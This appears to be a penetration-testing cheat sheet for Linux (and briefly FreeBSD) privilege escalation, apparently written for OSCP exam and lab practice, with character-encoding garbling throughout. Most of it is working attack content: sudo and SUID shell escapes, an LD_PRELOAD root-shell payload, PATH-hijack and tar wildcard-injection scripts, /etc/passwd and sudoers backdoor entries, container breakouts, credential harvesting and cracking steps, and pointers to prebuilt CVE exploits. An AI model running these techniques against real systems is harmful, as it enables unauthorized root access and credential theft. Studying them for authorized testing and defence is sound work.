Linux Privilege Escalation Reference
π¦ QUICK WIN ORDER (read top-to-bottom under exam pressure)
π’ 30-second checks β RUN ON EVERY BOX, FIRST
sudo -lβ any GTFOBins entry is an instant win (Check 1)idβ unusual groups? (docker, lxd, disk, adm, shadow)- SUID sweep:
find / -perm -4000 -type f 2>/dev/null(Check 2) ls -la /etc/passwd /etc/shadowβ writable/readable when they shouldn’t be?
π‘ 5-minute checks β DO BEFORE STARTING LINPEAS
- Cron:
cat /etc/crontab,ls -la /etc/cron.*β writable scripts or PATH abuse - Capabilities:
getcap -r / 2>/dev/null - Internal listening ports:
ss -tulnp - Creds in files:
.bash_history,.env,config.php,wp-config.php
π 15-minute checks β RUN LINPEAS IN PARALLEL
- Run
linpeas.shand read the red/yellow highlights first - Writable service unit / config files, PATH hijacks
- Credential reuse β try any found password on root and other users
uname -aβ kernel version β searchsploit (only if nothing easier surfaced)
π΄ 30+ minute investigations β THE NIGHT-EATERS
- Custom SUID binaries β
ltrace/stracefor injectablesystem()/relative-path calls - LD_PRELOAD / LD_LIBRARY_PATH abuse from
sudo -lenv_keep - NFS
no_root_squash, Docker/LXD group breakout - Kernel exploits β last resort, they can crash the box
π Special situations
- In a container? Check
/.dockerenv, capabilities, and mounted host paths - Restricted shell (rbash)? Escape via
vi,python,sudo, orssh -t <host> bash - Commands silently failing? Use full paths and check AppArmor/SELinux DENIED logs
Check 1 β sudo -l (ALWAYS FIRST)
sudo -l
If any binary is listed, check GTFOBins immediately.
Common wins:
sudo vim -c ':!/bin/sh'
sudo find / -exec /bin/sh \; -quit
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo env /bin/sh
sudo less /etc/shadow # then !sh
sudo nmap --interactive # then !sh (older nmap)
sudo apt-get changelog apt # drops to less β type !/bin/sh for root
sudo /usr/bin/tee /etc/passwd < malicious_passwd # overwrite /etc/passwd
β οΈ If a GTFOBins sudo exploit fails unexpectedly, check grep apparmor /var/log/syslog for DENIED entries β AppArmor may be blocking it.
LD_PRELOAD Hijack
If env_keep+=LD_PRELOAD is visible in sudo -l:
// File: /tmp/evil.c
#include <stdio.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so <allowed_binary>
PYTHONPATH / SETENV Hijack
If env_keep+=PYTHONPATH or SETENV is present, create a malicious Python module that matches an import in the sudo-allowed script.
If sudo -l shows gcore (or /usr/bin/gcore), dump memory of any privileged process for cleartext creds:
ps -ef | grep -E 'root|sshd|mysql' # find a juicy PID
sudo gcore -o /tmp/dump <PID>
strings /tmp/dump.<PID> | grep -iE 'password|passwd|secret|token' | sort -u
Check 2 β SUID Binaries
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null # also check SGID
Cross-reference every result with GTFOBins. Key exploitable: find, vim, python, bash (bash -p), nmap, cp, env, gdb, systemctl, base64, openssl, wget.
Quick SUID exploitation examples:
# SUID find
find /tmp -exec "/usr/bin/bash" -p \; -quit
# SUID bash/sh
/usr/bin/bash -p # -p prevents effective UID from being reset
# SUID cp β overwrite /etc/passwd
cp /etc/passwd /tmp/passwd.bak
echo 'root2:$(openssl passwd w00t):0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
Custom SUID binary β PATH hijack
When you find a SUID binary NOT in GTFOBins, inspect what it calls:
file ./mystery_binary
strings ./mystery_binary | grep -E '^/|system|exec|popen'
If strings shows a bare command (no leading slash) like chpasswd, ping, service, cat β it’s calling that command via $PATH lookup. PATH hijack works.
strings showed echo kiero:kiero | chpasswd β chpasswd called WITHOUT /usr/sbin/ prefix.
# 1. Create fake binary matching the bare name
echo '#!/bin/bash
chmod +s /bin/bash' > /tmp/chpasswd
chmod +x /tmp/chpasswd
# 2. Prepend writable dir to PATH (must come BEFORE /usr/sbin)
export PATH=/tmp:$PATH
# 3. Trigger the SUID binary β it runs YOUR fake as root
./RESET_PASSWD
# 4. /bin/bash now has SUID β root shell
/bin/bash -p
# whoami β root
Mental model: SUID binary + relative command + writable dir = root.
- SUID bit makes the binary run as root
system()/execvp()searches$PATHfor bare commands- You control
$PATH, so you control which binary gets found first
Variants of the same trick:
- Cron job calls bare command β same PATH hijack (different trigger)
- Service script calls bare command β same PATH hijack
- Sudo with
env_keep += "PATH"β same PATH hijack via sudo binary
Check 3 β Cron Jobs and Timers
cat /etc/crontab
ls -la /etc/cron.d/ && cat /etc/cron.d/* 2>/dev/null # READ contents, not just list
ls -la /etc/cron.{daily,hourly,weekly,monthly}/
cat /etc/cron.{daily,hourly,weekly,monthly}/* 2>/dev/null # READ all periodic scripts
crontab -l
sudo crontab -l # root's crontab (if sudo allows)
systemctl list-timers --all
# Check cron logs for RUNNING jobs (shows what's actually executing)
grep "CRON" /var/log/syslog 2>/dev/null
grep "CRON" /var/log/cron.log 2>/dev/null
Run pspy64 to catch hidden root cron jobs:
chmod +x pspy64 && ./pspy64
# Watch for UID=0 commands running periodically
cp * /media
cd /var/www/target-site/uploads
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > runme.sh
chmod +x runme.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh runme.sh'
ln -s /root/.ssh/id_rsa rootkey
ln -s /etc/shadow shadowcopy
ln -s /root/proof.txt rootproof
When you find a cron job running as root, check:
- Writable script? β Replace contents with reverse shell
- Uses
*in writable dir? β Wildcard injection (below) - Calls command without absolute path? β PATH hijacking
- Imports Python modules? β Library hijacking
- Sources bash files? β Source file hijacking
- Hardcoded credentials? β Credential reuse
π¨ RED FLAGS β 5-second scan after cat /etc/cron.d/*
Don’t skim. READ every line. If you see ANY of these, stop and exploit:
| Pattern | Vector | Example |
|---|---|---|
Line ends with bare * | Wildcard injection | cd /opt/admin && tar -zxf backup.tar.gz * |
Path under /opt/, /home/, /tmp/, /var/www/ | Check writability | cd /opt/admin && ... β ls -la /opt/admin |
tar / rsync / chown / 7z / zip / find with paths | Wildcard injection | any of the above + * |
Bare command (no /usr/bin/ prefix) | PATH hijack | * * * * * root cleanup.sh |
.sh script | Check writability of script AND parent dir | bash /opt/scripts/x.sh |
python / perl / php script | Check for module/library hijack | python /opt/app/main.py |
When a root cron/script runs tar, rsync, chown, 7z, etc. with * in a writable dir:
# tar β files starting with `--` are interpreted as flags
cd /writable_dir
echo 'cp /bin/bash /tmp/rb && chmod +s /tmp/rb' > x.sh
chmod +x x.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh x.sh'
# Cron triggers `tar czf backup.tar.gz *` β /tmp/rb -p = root
# rsync β --rsh injection
touch -- '-e sh x.sh'
# 7z β leaks file contents to stderr
touch -- '@x.txt' && ln -s /etc/shadow x.txt
# `7z a backup.7z *` β /etc/shadow content leaked
Mental model: any binary that parses
*-expanded filenames as flags is vulnerable. Drop a file whose NAME is a malicious flag.
Check 4 β Capabilities
getcap -r / 2>/dev/null
Reading output: /usr/bin/perl = cap_setuid+ep
- Left of
=β binary name (search on GTFOBins β Capabilities section) - Between
=and+β the capability (the power granted) - Flags must include
e(effective) to be exploitable β+epor+eip= live,+ionly = dormant, skip
cap_setuid+ep on any interpreter = instant root:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
| Capability | Impact |
|---|---|
cap_setuid+ep | become root via interpreter (above) |
cap_dac_read_search+ep | read ANY file (including /etc/shadow, /root/.ssh/id_rsa) |
cap_dac_override+ep | read AND write any file (replace /etc/passwd, /etc/sudoers) |
cap_chown+ep | change ownership of any file β take over /etc/passwd |
cap_sys_admin+ep | mount filesystems (mount disk, chroot escape) |
cap_net_raw+ep | raw sockets (sniff network, ARP) |
cap_sys_ptrace+ep | inject into any process (steal root process) |
cap_sys_module+ep | load kernel modules |
Check 5 β Automated Enumeration (LinPEAS + others)
./linpeas.sh | tee linpeas_output.txt
RED/YELLOW findings are near-certain privesc vectors.
Alternative tools (if linpeas is blocked by AV or unavailable):
unix-privesc-check standard > output.txt # pre-installed on Kali, transfer to target
# Also: LinEnum.sh, linux-exploit-suggester.sh
Manual quick-win linpeas might miss:
# World-writable directories (check for cron scripts, service binaries in these)
find / -writable -type d 2>/dev/null
Check 6 β Password Hunting
Environment variables and dotfiles (check FIRST β lowest effort)
# Env vars may contain hardcoded creds set by admins
env | grep -i 'pass\|cred\|secret\|key\|token'
# .bashrc can export credentials as env vars
cat ~/.bashrc | grep -i 'export\|pass\|cred\|secret'
cat /home/*/.bashrc 2>/dev/null | grep -i 'export\|pass'
Sniff credentials from running processes
# Watch for transient processes leaking passwords in command-line args
watch -n 1 "ps aux | grep pass"
# Example catch: sshpass -p 'Password123' ssh [email protected]
# pspy is better for this β but watch works without transferring tools
Grep-based credential search
grep -ri 'password' /var/www/ /etc/ /opt/ /home/ 2>/dev/null
grep -ri 'passwd\|credential\|secret\|api.key\|token' /var/www/ /opt/ 2>/dev/null
cat ~/.bash_history
cat /home/*/.bash_history
cat /root/.bash_history 2>/dev/null
Noise reduction (when defaults return too much to read)
The grep above is the firehose. When /etc/ or /var/www/ floods with thousands of hits (locales, manpages, doc strings, package metadata), use these instead:
# 1. Filenames only first β triage, then read selectively
grep -rli 'password' /etc/ /var/www/ /opt/ 2>/dev/null
# 2. Tighten the regex β '=' or ':' kills doc/help-text noise
grep -rEi 'password\s*[:=]' /etc/ /var/www/ /opt/ 2>/dev/null
# 3. Scope by file type β drops binaries, locales, manpages
grep -rEi --include='*.php' --include='*.py' --include='*.sh' \
--include='*.conf' --include='*.ini' --include='*.env' \
--include='*.yml' --include='*.yaml' --include='*.xml' --include='*.js' \
'password\s*[:=]' / 2>/dev/null
# 4. Strip known-noise paths from existing results
grep -ri 'password' /etc/ 2>/dev/null | grep -vE '/locale/|/man/|\.gz:'
# 5. Volume check before diving in
grep -ri 'password' /etc/ 2>/dev/null | wc -l # >500? tighten the query
Triage order: filenames-only (#1) β tighten regex (#2) β scope by extension (#3) β read top hits.
Git repositories (deleted creds live in commit history)
# Find .git directories
find / -name ".git" -type d 2>/dev/null
# Inside a git repo: check for removed secrets
cd /path/to/repo
git log # list commits
git show <COMMIT_HASH> # diff of that commit β shows added/removed lines
git log -p # all diffs in full
git log --all --oneline # compact view
Common credential locations:
cat /var/www/html/wp-config.php
cat /var/www/html/config.php
cat /var/www/html/.env
find / -name "*.config" -o -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
Cracking Protected Files
If you find password-protected files, crack them. If someone protected it, the contents matter.
# The *2john family converts any format to john-crackable hash
pdf2john file.pdf > hash.txt
zip2john file.zip > hash.txt
keepass2john file.kdbx > hash.txt
ssh2john id_rsa > hash.txt
rar2john file.rar > hash.txt
office2john file.docx > hash.txt
# Then crack
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Check 7 β SSH Keys
find / -name id_rsa -o -name id_dsa -o -name id_ecdsa -o -name id_ed25519 -o -name "*.pem" 2>/dev/null
cat /home/*/.ssh/authorized_keys 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
Check 8 β Writable /etc/passwd, /etc/shadow, /etc/sudoers
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d/
/etc/passwd writable:
openssl passwd -1 password123
echo 'hacker:$1$xyz$abc...:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker # password: password123
/etc/sudoers or /etc/sudoers.d/ writable (more common than passwd in practice):*
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo -i # root
# Or drop a new file in sudoers.d/
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/zz_pwn
/etc/shadow writable:
# Replace root's hash with a known one
openssl passwd -6 toor # β $6$...
# Edit /etc/shadow, replace root's $6$... with yours, then `su root` with toor
Check 9 β Internal Services
ss -tulnp
netstat -tulnp 2>/dev/null
Look for services bound to 127.0.0.1 β nmap can’t see these from outside.
Common finds: MySQL 3306 (try mysql -u root), Redis 6379, internal web apps on high ports, dev servers.
Forward them for exploitation:
# Basic: forward target localhost:8080 to YOUR localhost:8080
ssh -L 8080:127.0.0.1:8080 user@target -N
# With SSH key + non-standard port (common in labs)
ssh -i id_ecdsa user@target -p 2222 -L 8080:127.0.0.1:8080 -N
# Forward multiple ports at once
ssh -i id_key user@target -p PORT -L 8080:127.0.0.1:8080 -L 3306:127.0.0.1:3306 -N
# -N = no shell, just forward the port
# -L = local forward (target localhost -> your localhost)
# Then browse http://127.0.0.1:8080 on Kali to access the service
On hit, the canonical move (one-line memory cues):
- Redis (6379) β
CONFIG SET dir /root/.ssh/+dbfilename authorized_keys+SET x "ssh-rsa..."+SAVE - MySQL as root + writable webroot β
SELECT '<?php ... ?>' INTO OUTFILE '/var/www/html/x.php' - Docker socket readable β mount
/and chroot (same payload as docker group, Check 11) - Werkzeug/Flask debug β it is a Python REPL:
__import__('os').system('id') - Anything else β search the box for that service config (
/etc/<svc>/*) β creds usually live there
Check 10 β NFS no_root_squash
# External (from Kali, during initial enum) β port 2049 in nmap = NFS
showmount -e <target_ip>
# Internal (post-foothold)
cat /etc/exports
# Look for: /share *(rw,no_root_squash)
If found:
# On attacker (as root):
sudo mount -t nfs $ip:/share /tmp/nfs
sudo cp /bin/bash /tmp/nfs/bash
sudo chmod +s /tmp/nfs/bash
# On target:
/share/bash -p
Check 11 β Privileged Groups (Docker / LXD / disk / adm / shadow)
id
# Look for: docker, lxd, lxc, disk, adm, shadow, kvm, sudo, wheel, video
| Group | Path to root |
|---|---|
docker | docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
lxd / lxc | See LXD block below |
adm | Read /var/log/* (auth.log, syslog often leak creds from sudo/sshpass) |
shadow | Read /etc/shadow β crack offline with unshadow + john |
video | Read framebuffer /dev/fb0 β only useful with active GUI session |
kvm | /dev/kvm access β combine with disk image mount |
sudo / wheel | sudo -l (already covered, Check 1) |
Docker escape:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
LXD escape:
lxc image import ./alpine.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# debugfs gives raw filesystem read on the block device
debugfs /dev/sda1
debugfs: cat /etc/shadow
debugfs: dump /root/.ssh/id_rsa /tmp/rootkey
debugfs: quit
chmod 600 /tmp/rootkey && ssh -i /tmp/rootkey [email protected]
Unknown group triage (group not on the list above):
getent group <name> # who else is in it, hints at purpose
find / -group <name> -ls 2>/dev/null | head -20 # what files it owns
Look for: configs in /etc/, binaries in /usr/sbin/, logs in /var/log/, devices in /dev/. Nothing useful in 15 min β drop it, not a privesc vector.
Check 12a β Userspace SUID/sudo CVEs (safe to try early)
These exploit SUID binaries or sudo β NOT kernel β so they don’t crash the box. Try BEFORE kernel exploits.
# PwnKit (CVE-2021-4034) β pkexec SUID, ~Ubuntu/Debian/CentOS 2014βearly 2022
ls -la /usr/bin/pkexec # confirm SUID present
# Prebuilt: https://github.com/ly4k/PwnKit
./pwnkit # β root shell
# Baron Samedit (CVE-2021-3156) β sudo < 1.9.5p2
sudo --version # check
# Prebuilt: https://github.com/blasty/CVE-2021-3156
./sudo-baron-samedit # β root shell
# Sudoedit -e (CVE-2023-22809) β sudo 1.8.0β1.9.12p1
# Trigger when sudo -l shows sudoedit (or sudo -e) on a specific file
EDITOR='vim -- /etc/sudoers' sudoedit /allowed/file
# Edits ANY file as root via the appended path. Also works with vi/nano/ed.
# Looney Tunables (CVE-2023-4911) β glibc 2.34+ (Ubuntu 22.04+, RHEL 9, Fedora 37+)
# Prebuilt: https://github.com/leesh3288/CVE-2023-4911
./looney # less common on OSCP labs, more on modern infra
Quick check from Kali:
searchsploit pwnkit/searchsploit CVE-2021-3156. Prebuilt POCs work on most OSCP-vintage targets without compilation.
Check 12b β Kernel Exploits (LAST RESORT)
uname -a
cat /etc/issue
cat /etc/os-release
# Then on Kali: searchsploit "linux kernel <version> Local Privilege Escalation"
Reading uname output:
5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 ... 2020 x86_64
5.4.0-42-genericβ upstream kernel + distro patch level (-42) + flavor#46-Ubuntu ... Fri Jul 10 2020β build date is the cutoff: only CVEs disclosed AFTER this date can applyx86_64β architecture (your compiled exploit must match)
Combine with /etc/os-release (distro + release) for the full identifier.
Research query template: <distro> <release> <kernel> privilege escalation
Example: ubuntu 20.04 5.4.0-42 privilege escalation
Using linux-exploit-suggester.sh:
./linux-exploit-suggester.sh # reads uname automatically
./linux-exploit-suggester.sh -k 5.4.0-42 # force a specific kernel string
Read the Exposure tag, not the raw CVE list:
highly probable/probableβ tryless probable/unprobableβ skip
Cross-check before compiling: Google <CVE> <distro> <release> patched β confirms the patch had not shipped on the target build date.
Run linux-exploit-suggester.sh. Key kernel exploits:
- DirtyPipe (CVE-2022-0847) β Linux 5.8 β 5.16.11, 5.15.25, 5.10.102
- DirtyCow (CVE-2016-5195) β older kernels (< 4.8.3)
- OverlayFS (CVE-2021-3493 / CVE-2023-0386) β Ubuntu-specific
β οΈ Kernel exploits CAN crash the box. Exhaust Check 12a first.
Checks 13-18 β Additional Vectors
# 13. World-writable files
find / -writable -type f 2>/dev/null | grep -v proc
# 14. Script analysis β apply the 13-item checklist to every script found
# 15. Python library hijacking
python3 -c "import sys; print('\n'.join(sys.path))"
# Writable directory in sys.path + root runs Python script = hijack
# 16. PATH hijacking
echo $PATH
# sudo with env_keep+=PATH or SETENV + script uses relative command
# 17. Writable systemd services
find /etc/systemd /lib/systemd /run/systemd -name "*.service" -writable 2>/dev/null
# Exploit (see Writable systemd Service block below)
# 18. Process monitoring
ps aux | grep -i 'pass\|user\|cred'
# pspy is better for catching transient processes
# 19. /etc/ld.so.preload writable β instant root on next SUID call
ls -la /etc/ld.so.preload
# If writable: drop a malicious .so path β loaded into every binary including SUID
gcc -fPIC -shared -o /tmp/evil.so evil.c -nostartfiles
echo "/tmp/evil.so" > /etc/ld.so.preload
sudo /usr/bin/find . -exec /bin/bash -p \; # any SUID/sudo call triggers it
# Find any writable .service file root manages
find /etc/systemd /lib/systemd -name "*.service" -writable 2>/dev/null
# Edit ExecStart to drop a SUID bash:
# [Service]
# ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rb && chmod +s /tmp/rb'
# Reload + trigger (need ANY way to make root reload β sudo systemctl, sudo reboot, scheduled restart):
sudo systemctl daemon-reload && sudo systemctl restart <svc>
# OR if sudo allows reboot:
sudo reboot
# After the service reloads as root, the copied bash is SUID:
/tmp/rb -p # root
When Automated Tools Find Nothing
If LinPEAS, sudo -l, SUID, and cron all come up empty:
Check filesystem root for non-default directories β
ls /and look for anything unusual:/opt/,/srv/,/backup/, custom directories. Anything placed there intentionally has a purpose.Read every file you can access β especially in home directories, web roots, config files. Password-protected files are high-value (crack them).
Check internal services β
ss -tulnpfor localhost-only services. These are invisible to external scans and often run as root.Look at running processes β
ps auxfor services running as root with interesting arguments. Runpspy64to catch transient processes.Re-enumerate with new context β after finding any new information (usernames, passwords, service names), re-run targeted searches.
The privesc might be information-based rather than exploit-based: find file β crack it β read it β discover hidden service β use it. Automated tools look for misconfigurations, not intelligence gathering.
FreeBSD Privilege Escalation
FreeBSD uses doas instead of sudo. Config at /usr/local/etc/doas.conf.
Recognition
- uname -a shows FreeBSD
- /usr/local/etc/ is the main third-party config dir (NOT /etc/)
- Services managed via service NAME onestart/onestop/restart
- Package manager is pkg not apt
- Shadow file is /etc/master.passwd not /etc/shadow
Enumeration
cat /usr/local/etc/doas.conf id ls /usr/local/etc/rc.d/ find /usr/local/etc/ -writable 2>/dev/null
Exploit: doas service abuse
If doas.conf has: permit nopass USER cmd service args X onestart
- Check if service binary / config / Include dir is writable
- Check if service config includes files from writable dir (grep Include in main conf)
- If web service: drop webshell in DocumentRoot, start service with doas, catch shell as service user
Apache ran as www user, not root. httpd.conf and Includes dir read-only. Real value: post-exploit looting found sshpass command in .history pointing to FILES share.
LESSON: when doas abuse has no clean privesc, the value is enumeration for next-machine pivot creds. Loot .history, .bash_history, /home/*/.ssh, /var/mail, /tmp, /var/log.
FreeBSD Post-Exploit Looting
cat /root/.history /root/.bash_history ls /var/mail/ && cat /var/mail/* cat /etc/master.passwd find /home /usr/home -name .ssh 2>/dev/null find / -name ‘.sh’ -o -name ‘.py’ 2>/dev/null | xargs grep -l password 2>/dev/null